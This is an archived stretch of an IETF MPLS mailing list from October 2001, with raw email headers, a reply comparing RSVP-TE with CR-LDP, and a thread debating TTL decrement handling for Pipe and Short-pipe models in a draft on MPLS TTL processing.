Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkdr21050;
	Wed, 10 Oct 2001 15:57:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkdr09092
	for mpls-outgoing; Wed, 10 Oct 2001 15:57:15 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkdr09085
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 15:57:11 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkdr22952
	for <mpls@uu.net>; Wed, 10 Oct 2001 15:57:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkdr19901
	for <mpls@uu.net>; Wed, 10 Oct 2001 15:57:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA07029 for <mpls@uu.net>; Wed, 10 Oct 2001 11:57:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA09225 for mpls@uu.net; Wed, 10 Oct 2001 11:57:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkdr08972
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 15:55:58 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkdr18980
	for <mpls@UU.NET>; Wed, 10 Oct 2001 15:55:44 GMT
Received: from sj-msg-core-4.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-4.cisco.com [171.71.163.10])
	id QQlkdr29136
	for <mpls@UU.NET>; Wed, 10 Oct 2001 15:55:58 GMT
Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.17.42])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f9AFtdu22484;
	Wed, 10 Oct 2001 08:55:39 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f9AFtPR05094;
	Wed, 10 Oct 2001 08:55:26 -0700 (PDT)
Received: from CHRLEWIS-W2K.cisco.com (sjc-vpn2-437.cisco.com [10.21.113.181]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id IAA09722; Wed, 10 Oct 2001 08:55:23 -0700 (PDT)
Message-Id: <4.3.2.7.2.20011010105452.01e98c78@fargo.cisco.com>
X-Sender: chrlewis@fargo.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
X-Priority: 1 (Highest)
Date: Wed, 10 Oct 2001 11:02:07 -0500
To: syed ali <ifsyed@rocketmail.com>
From: Christopher Lewis <chrlewis@cisco.com>
Subject: Re: RSVP-TE vs LDP
Cc: adithya@sasken.com, "mpls@UU.NET" <mpls@UU.NET>,
        "mpls-ops@mplsrc.com" <mpls-ops@mplsrc.com>
In-Reply-To: <20011010135812.97213.qmail@web14201.mail.yahoo.com>
References: <3BC40A3E.829F1ED6@sasken.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_10504064==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_10504064==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Syed,

Basically they are two alternatives that approach the problem from 
different perspectives;

Alternative 1
Take a well established, well tested, existing protocol for signaling QoS 
over IP networks (viz., RSVP), and extend it to support both label 
distribution and path setup based on explicit routes.   Use the existing 
and developing IP QoS model, so as to leverage past and ongoing IETF work 
on QoS and on signaling of QoS.

Alternative 2
Extend the newly designed LDP protocol to add explicit route setup and QoS 
signaling, thereby creating CR-LDP.

Both alternatives proceeded by taking a protocol and extending it into 
areas beyond its original intended application.  Both alternatives added 
explicit route support to protocols, which originally did not have it.  The 
real difference is whether to take a QoS signaling protocol and add label 
distribution, or whether to take a label distribution protocol and add QoS 
signaling.

It seems that more vendors vote for alternative 1.

I'll send you a separate e-mail with a PDF from Data Conenctions Ltd. in 
the UK comparing the two protocols.

Chris

At 08:58 AM 10/10/2001, syed ali wrote:
>Guys,
>      Is there a doc that describes the pros and cons
>of each.
>
>thanks
>Syed
>
>=====
>TIME IS A LUXURY YOU CAN'T AFFORD!
>
>__________________________________________________
>Do You Yahoo!?
>Make a great connection at Yahoo! Personals.
>http://personals.yahoo.com
>
>-------
>The MPLS-OPS Mailing List
>Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
>Archive: http://www.mplsrc.com/mpls-ops_archive.shtml

--=====================_10504064==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Syed,<br>
<br>
Basically they are two alternatives that approach the problem from
different perspectives;&nbsp; <br>
<br>
Alternative 1<br>
Take a well established, well tested, existing protocol for signaling QoS
over IP networks (viz., RSVP), and extend it to support both label
distribution and path setup based on explicit routes.&nbsp;&nbsp; Use the
existing and developing IP QoS model, so as to leverage past and ongoing
IETF work on QoS and on signaling of QoS.<br>
<br>
Alternative 2<br>
Extend the newly designed LDP protocol to add explicit route setup and
QoS signaling, thereby creating CR-LDP. <br>
<br>
Both alternatives proceeded by taking a protocol and extending it into
areas beyond its original intended application.&nbsp; Both alternatives
added explicit route support to protocols, which originally did not have
it.&nbsp; The real difference is whether to take a QoS signaling protocol
and add label distribution, or whether to take a label distribution
protocol and add QoS signaling.<br>
<br>
It seems that more vendors vote for alternative 1.<br>
<br>
I'll send you a separate e-mail with a PDF from Data Conenctions Ltd. in
the UK comparing the two protocols. <br>
<br>
Chris<br>
<br>
At 08:58 AM 10/10/2001, syed ali wrote:<br>
<blockquote type=cite cite>Guys,<br>
&nbsp;&nbsp;&nbsp;&nbsp; Is there a doc that describes the pros and
cons<br>
of each.<br>
<br>
thanks<br>
Syed<br>
<br>
=====<br>
TIME IS A LUXURY YOU CAN'T AFFORD!<br>
<br>
__________________________________________________<br>
Do You Yahoo!?<br>
Make a great connection at Yahoo! Personals.<br>
<a href="http://personals.yahoo.com/" eudora="autourl">http://personals.yahoo.com</a><br>
<br>
-------<br>
The MPLS-OPS Mailing List<br>
Subscribe/Unsubscribe:&nbsp;
<a href="http://www.mplsrc.com/mplsops.shtml" eudora="autourl">http://www.mplsrc.com/mplsops.shtml</a><br>
Archive:
<a href="http://www.mplsrc.com/mpls-ops_archive.shtml" eudora="autourl">http://www.mplsrc.com/mpls-ops_archive.shtml</a></blockquote></html>

--=====================_10504064==_.ALT--



From owner-mpls@UU.NET  Wed Oct 10 14:29:24 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17627
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 14:29:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkeb26187;
	Wed, 10 Oct 2001 18:26:59 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkeb18215
	for mpls-outgoing; Wed, 10 Oct 2001 18:26:27 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkeb18204
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 18:26:22 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkeb12900
	for <mpls@uu.net>; Wed, 10 Oct 2001 18:25:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkeb13441
	for <mpls@uu.net>; Wed, 10 Oct 2001 18:24:54 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA27220 for <mpls@uu.net>; Wed, 10 Oct 2001 14:25:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA15927 for mpls@uu.net; Wed, 10 Oct 2001 14:25:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkeb17979
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 18:23:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkeb25403
	for <mpls@UU.NET>; Wed, 10 Oct 2001 18:23:24 GMT
Received: from mother.pmc-sierra.bc.ca by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQlkeb20369
	for <mpls@UU.NET>; Wed, 10 Oct 2001 18:23:38 GMT
Received: (qmail 6370 invoked by uid 104); 10 Oct 2001 18:23:19 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-1.00 (uvscan: v4.1.40/v4164. . Clean. Processed in 0.918522 secs); 10 Oct 2001 18:23:19 -0000
Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120)
  by mother.pmc-sierra.bc.ca with SMTP; 10 Oct 2001 18:23:17 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id f9AINGl11929;
	Wed, 10 Oct 2001 11:23:16 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <SV4KJ1DP>; Wed, 10 Oct 2001 11:25:40 -0700
Message-ID: <4B6D09F3B826D411A67300D0B706EFDE5CCA88@nt-exch-yow.pmc-sierra.bc.ca>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'Puneet Agarwal'" <puneet@pluris.com>, mpls@UU.NET
Subject: RE: New revision of the MPLS ttl draft
Date: Wed, 10 Oct 2001 11:25:25 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-2"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Puneet,

But your draft says that any value other than 1 can be subtracted from TTL. So how does a customer router that sits downstream of the egress LSR know how much has been subtracted from the TTL?


Yours,
-Shahram

> -----Original Message-----
> From: Puneet Agarwal [mailto:puneet@pluris.com]
> Sent: Tuesday, October 09, 2001 11:09 PM
> To: Shahram Davari; mpls@UU.NET
> Subject: RE: New revision of the MPLS ttl draft
> 
> 
> Hi Shahram,
> 
> Thanks for your comments.
> 
> Regarding not storing the TTL decrementing policy of the 
> customer in the
> provider's egress LSR(s), I do not think that the proposed 
> ttl processing
> needs/requires the customers ttl decrement policy to be known 
> to the Egress
> LSRs. From a customers perspective, they send a packet with 
> ttl n and they
> get back a packet with ttl n-2. If the customer wants, they 
> can decrement
> the ttl by any amount they want without the providers egress 
> LSR knowing
> anything about it. TTL processing is different (and easier to 
> determine)
> than PHB determination as the TTL field has the same 
> semantics in either the
> providers network or the customers network - which is not 
> true for the bits
> used for PHB determination.
> 
> Hence I do not see a reason to change the TTL decrementing 
> policy for Pipe
> model LSPs. (There are other valid reasons for our proposal 
> but they are not
> relevant to the points you've raised). 
> 
> Hope this helps.
> 
> Thanks.
> 
> -Puneet  
> 
> >-----Original Message-----
> >From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> >Sent: Tuesday, October 09, 2001 1:34 PM
> >To: 'Puneet Agarwal'; mpls@UU.NET
> >Subject: RE: New revision of the MPLS ttl draft
> >
> >
> >Hi Puneet,
> >
> >The reason that Pipe model was introduced was that we didn't 
> >want to store the customer policies in the egress LSR. This 
> >meant from the Diffserv perspective, that we didn't want to 
> >store EXP<=>PHB mapping for each individual customer. The Pipe 
> >model essentially terminates the tunnel on the ingress line 
> >card of the Router downstream of the Egress LSR, rather than 
> >on the egress line-card of the egress LSR.
> >
> >As mentioned in your draft, each domain may have its own 
> >policy (value to be decremented) for decrementing the TTL. 
> >Therefore it seems to me that for the same reason, it is 
> >better not to store TTL decrementing policy and apply it to 
> >the packet in the egress LSR for the Pipe model. 
> >
> >Therefore I suggest that the Pipe model TTL processing be the 
> >same as Short-pipe model with PHP.
> >
> >Yours,
> >-Shahram
> >
> >> -----Original Message-----
> >> From: Puneet Agarwal [mailto:puneet@pluris.com]
> >> Sent: Monday, October 08, 2001 5:18 PM
> >> To: mpls@UU.NET
> >> Subject: New revision of the MPLS ttl draft
> >> 
> >> 
> >> A new revision of the "TTL Processing in MPLS Networks" has 
> >> been submitted.
> >> This updates the -00 version of the draft.
> >> 
> >> Any comments/suggestions would be much appreciated.
> >> 
> >> -Puneet and Bora
> >> 
> >> 
> >> 
> >
> 



From owner-mpls@UU.NET  Wed Oct 10 15:13:25 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18816
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 15:13:25 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkee02933;
	Wed, 10 Oct 2001 19:10:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkee11001
	for mpls-outgoing; Wed, 10 Oct 2001 19:10:08 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkee10963
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 19:09:59 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkee27653
	for <mpls@UU.NET>; Wed, 10 Oct 2001 19:09:49 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQlkee01836
	for <mpls@UU.NET>; Wed, 10 Oct 2001 19:10:03 GMT
Message-ID: <3BC49CFB.6BE53545@sandburst.com>
Date: Wed, 10 Oct 2001 15:09:47 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: Shahram Davari <Shahram_Davari@pmc-sierra.com>
Cc: "'Puneet Agarwal'" <puneet@pluris.com>, mpls@UU.NET
Subject: Re: New revision of the MPLS ttl draft
References: <4B6D09F3B826D411A67300D0B706EFDE5CCA88@nt-exch-yow.pmc-sierra.bc.ca>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Shahram,

    Can you help me to understand this question?  Why would the customer
router dwnstream of the egress LSR want (or need) to know how much TTL
has been decremented by the egress LSR?

You wrote:

> Hi Puneet,
>
> But your draft says that any value other than 1 can be subtracted from TTL. So how does a customer router that sits downstream of the egress LSR know how much has been subtracted from the TTL?
>
> Yours,
> -Shahram
>
> > -----Original Message-----
> > From: Puneet Agarwal [mailto:puneet@pluris.com]
> > Sent: Tuesday, October 09, 2001 11:09 PM
> > To: Shahram Davari; mpls@UU.NET
> > Subject: RE: New revision of the MPLS ttl draft
> >
> >
> > Hi Shahram,
> >
> > Thanks for your comments.
> >
> > Regarding not storing the TTL decrementing policy of the
> > customer in the
> > provider's egress LSR(s), I do not think that the proposed
> > ttl processing
> > needs/requires the customers ttl decrement policy to be known
> > to the Egress
> > LSRs. From a customers perspective, they send a packet with
> > ttl n and they
> > get back a packet with ttl n-2. If the customer wants, they
> > can decrement
> > the ttl by any amount they want without the providers egress
> > LSR knowing
> > anything about it. TTL processing is different (and easier to
> > determine)
> > than PHB determination as the TTL field has the same
> > semantics in either the
> > providers network or the customers network - which is not
> > true for the bits
> > used for PHB determination.
> >
> > Hence I do not see a reason to change the TTL decrementing
> > policy for Pipe
> > model LSPs. (There are other valid reasons for our proposal
> > but they are not
> > relevant to the points you've raised).
> >
> > Hope this helps.
> >
> > Thanks.
> >
> > -Puneet
> >
> > >-----Original Message-----
> > >From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> > >Sent: Tuesday, October 09, 2001 1:34 PM
> > >To: 'Puneet Agarwal'; mpls@UU.NET
> > >Subject: RE: New revision of the MPLS ttl draft
> > >
> > >
> > >Hi Puneet,
> > >
> > >The reason that Pipe model was introduced was that we didn't
> > >want to store the customer policies in the egress LSR. This
> > >meant from the Diffserv perspective, that we didn't want to
> > >store EXP<=>PHB mapping for each individual customer. The Pipe
> > >model essentially terminates the tunnel on the ingress line
> > >card of the Router downstream of the Egress LSR, rather than
> > >on the egress line-card of the egress LSR.
> > >
> > >As mentioned in your draft, each domain may have its own
> > >policy (value to be decremented) for decrementing the TTL.
> > >Therefore it seems to me that for the same reason, it is
> > >better not to store TTL decrementing policy and apply it to
> > >the packet in the egress LSR for the Pipe model.
> > >
> > >Therefore I suggest that the Pipe model TTL processing be the
> > >same as Short-pipe model with PHP.
> > >
> > >Yours,
> > >-Shahram
> > >
> > >> -----Original Message-----
> > >> From: Puneet Agarwal [mailto:puneet@pluris.com]
> > >> Sent: Monday, October 08, 2001 5:18 PM
> > >> To: mpls@UU.NET
> > >> Subject: New revision of the MPLS ttl draft
> > >>
> > >>
> > >> A new revision of the "TTL Processing in MPLS Networks" has
> > >> been submitted.
> > >> This updates the -00 version of the draft.
> > >>
> > >> Any comments/suggestions would be much appreciated.
> > >>
> > >> -Puneet and Bora
> > >>
> > >>
> > >>
> > >
> >

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Wed Oct 10 16:36:57 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20343
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 16:36:57 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkek01871;
	Wed, 10 Oct 2001 20:31:14 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkek07319
	for mpls-outgoing; Wed, 10 Oct 2001 20:31:07 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkek07282
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 20:31:02 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkej06586
	for <mpls@uu.net>; Wed, 10 Oct 2001 20:29:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkej27600
	for <mpls@uu.net>; Wed, 10 Oct 2001 20:29:17 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA14164 for <mpls@uu.net>; Wed, 10 Oct 2001 16:29:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA22375 for mpls@uu.net; Wed, 10 Oct 2001 16:29:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkej07094
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 20:28:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkej20032
	for <mpls@UU.NET>; Wed, 10 Oct 2001 20:28:02 GMT
Received: from mother.pmc-sierra.bc.ca by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQlkej25797
	for <mpls@UU.NET>; Wed, 10 Oct 2001 20:28:16 GMT
Received: (qmail 17230 invoked by uid 104); 10 Oct 2001 20:28:01 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-1.00 (uvscan: v4.1.40/v4164. . Clean. Processed in 0.433276 secs); 10 Oct 2001 20:28:01 -0000
Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120)
  by mother.pmc-sierra.bc.ca with SMTP; 10 Oct 2001 20:28:00 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id f9AKRnl04672;
	Wed, 10 Oct 2001 13:27:49 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <SV4KJH11>; Wed, 10 Oct 2001 13:30:14 -0700
Message-ID: <4B6D09F3B826D411A67300D0B706EFDE5CCA89@nt-exch-yow.pmc-sierra.bc.ca>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'Eric Gray'" <eric.gray@sandburst.com>
Cc: "'Puneet Agarwal'" <puneet@pluris.com>, mpls@UU.NET
Subject: RE: New revision of the MPLS ttl draft
Date: Wed, 10 Oct 2001 13:30:11 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Eric,

Because the TTL of the inner LSP belongs to the customer. And the customer has a policy of let's say subtracting a value of "n" from TTL. Now if the customer does not have control over the TTL subtraction, even in a single node, the TTL may get expired earlier or later than he expects. Let me give you an example:

                       
 A-------B-----C-----D-----E------F-----G-----H
 --------> LSP1----->
 -------------------->LSP2------------------->
     TTL = N

Assume 
1) LSP2 is the inner LSP
2) A, B, C, H and the ingress port of D are POS.
3) The egress port of D is LC-ATM
4) E, F are ATM LSRs
5) The ingress port of G is LC-ATM
6) The egress port of G is POS.
7) A,B,C,D belong to provider X
8) E,F,G,H belong to provider Y
9) TTL=N for LSP2 between A and D

In theory the TTL received by H must be N-4. However, since E, F and ingress of G are ATM, they can't subtract the TTL. 

There are two solutions:

A) Let's D do nothing and the customer Y subtract a value of 4 at the egress port of G, when the packet is sent to H.
B)Let D subtract a value of 3 before sending it to E, and G subtract TTL by 1.

It seems that for Pipe model, the current draft prefers the second solution,while I prefer the first one. The reason is that by choosing option B, you need to store the value to be subtracted from TTL for each individual customer, while in method A, it is up to customer to subtract whatever value he wants.

My argument is that the Short pipe model should fulfill method B, and Pipe model should fulfill method A.


Yours,
-Shahram

> -----Original Message-----
> From: Eric Gray [mailto:eric.gray@sandburst.com]
> Sent: Wednesday, October 10, 2001 3:10 PM
> To: Shahram Davari
> Cc: 'Puneet Agarwal'; mpls@UU.NET
> Subject: Re: New revision of the MPLS ttl draft
> 
> 
> Shahram,
> 
>     Can you help me to understand this question?  Why would 
> the customer
> router dwnstream of the egress LSR want (or need) to know how much TTL
> has been decremented by the egress LSR?
> 
> You wrote:
> 
> > Hi Puneet,
> >
> > But your draft says that any value other than 1 can be 
> subtracted from TTL. So how does a customer router that sits 
> downstream of the egress LSR know how much has been 
> subtracted from the TTL?
> >
> > Yours,
> > -Shahram
> >
> > > -----Original Message-----
> > > From: Puneet Agarwal [mailto:puneet@pluris.com]
> > > Sent: Tuesday, October 09, 2001 11:09 PM
> > > To: Shahram Davari; mpls@UU.NET
> > > Subject: RE: New revision of the MPLS ttl draft
> > >
> > >
> > > Hi Shahram,
> > >
> > > Thanks for your comments.
> > >
> > > Regarding not storing the TTL decrementing policy of the
> > > customer in the
> > > provider's egress LSR(s), I do not think that the proposed
> > > ttl processing
> > > needs/requires the customers ttl decrement policy to be known
> > > to the Egress
> > > LSRs. From a customers perspective, they send a packet with
> > > ttl n and they
> > > get back a packet with ttl n-2. If the customer wants, they
> > > can decrement
> > > the ttl by any amount they want without the providers egress
> > > LSR knowing
> > > anything about it. TTL processing is different (and easier to
> > > determine)
> > > than PHB determination as the TTL field has the same
> > > semantics in either the
> > > providers network or the customers network - which is not
> > > true for the bits
> > > used for PHB determination.
> > >
> > > Hence I do not see a reason to change the TTL decrementing
> > > policy for Pipe
> > > model LSPs. (There are other valid reasons for our proposal
> > > but they are not
> > > relevant to the points you've raised).
> > >
> > > Hope this helps.
> > >
> > > Thanks.
> > >
> > > -Puneet
> > >
> > > >-----Original Message-----
> > > >From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> > > >Sent: Tuesday, October 09, 2001 1:34 PM
> > > >To: 'Puneet Agarwal'; mpls@UU.NET
> > > >Subject: RE: New revision of the MPLS ttl draft
> > > >
> > > >
> > > >Hi Puneet,
> > > >
> > > >The reason that Pipe model was introduced was that we didn't
> > > >want to store the customer policies in the egress LSR. This
> > > >meant from the Diffserv perspective, that we didn't want to
> > > >store EXP<=>PHB mapping for each individual customer. The Pipe
> > > >model essentially terminates the tunnel on the ingress line
> > > >card of the Router downstream of the Egress LSR, rather than
> > > >on the egress line-card of the egress LSR.
> > > >
> > > >As mentioned in your draft, each domain may have its own
> > > >policy (value to be decremented) for decrementing the TTL.
> > > >Therefore it seems to me that for the same reason, it is
> > > >better not to store TTL decrementing policy and apply it to
> > > >the packet in the egress LSR for the Pipe model.
> > > >
> > > >Therefore I suggest that the Pipe model TTL processing be the
> > > >same as Short-pipe model with PHP.
> > > >
> > > >Yours,
> > > >-Shahram
> > > >
> > > >> -----Original Message-----
> > > >> From: Puneet Agarwal [mailto:puneet@pluris.com]
> > > >> Sent: Monday, October 08, 2001 5:18 PM
> > > >> To: mpls@UU.NET
> > > >> Subject: New revision of the MPLS ttl draft
> > > >>
> > > >>
> > > >> A new revision of the "TTL Processing in MPLS Networks" has
> > > >> been submitted.
> > > >> This updates the -00 version of the draft.
> > > >>
> > > >> Any comments/suggestions would be much appreciated.
> > > >>
> > > >> -Puneet and Bora
> > > >>
> > > >>
> > > >>
> > > >
> > >
> 
> --
> Eric Gray (mailto:eric.gray@sandburst.com)
> http://www.mindspring.com/~ewgray
> 
> 
> 



From owner-mpls@UU.NET  Wed Oct 10 17:06:49 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21006
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 17:06:44 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkem25598;
	Wed, 10 Oct 2001 21:04:32 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkem20472
	for mpls-outgoing; Wed, 10 Oct 2001 21:03:48 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkem20408
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 21:03:43 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkem04190
	for <mpls@UU.NET>; Wed, 10 Oct 2001 21:02:52 GMT
Received: from thalia.fm.intel.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns02.fm.intel.com [132.233.247.11])
	id QQlkem25046
	for <mpls@UU.NET>; Wed, 10 Oct 2001 21:03:04 GMT
Received: from fmsmsxvs042.fm.intel.com (fmsmsxv042-1.fm.intel.com [132.233.48.110])
	by thalia.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.44 2001/10/01 19:10:43 root Exp $) with SMTP id VAA14276
	for <mpls@UU.NET>; Wed, 10 Oct 2001 21:02:49 GMT
Received: from fmsmsx27.fm.intel.com ([132.233.42.27])
 by fmsmsxvs042.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001101014024428843
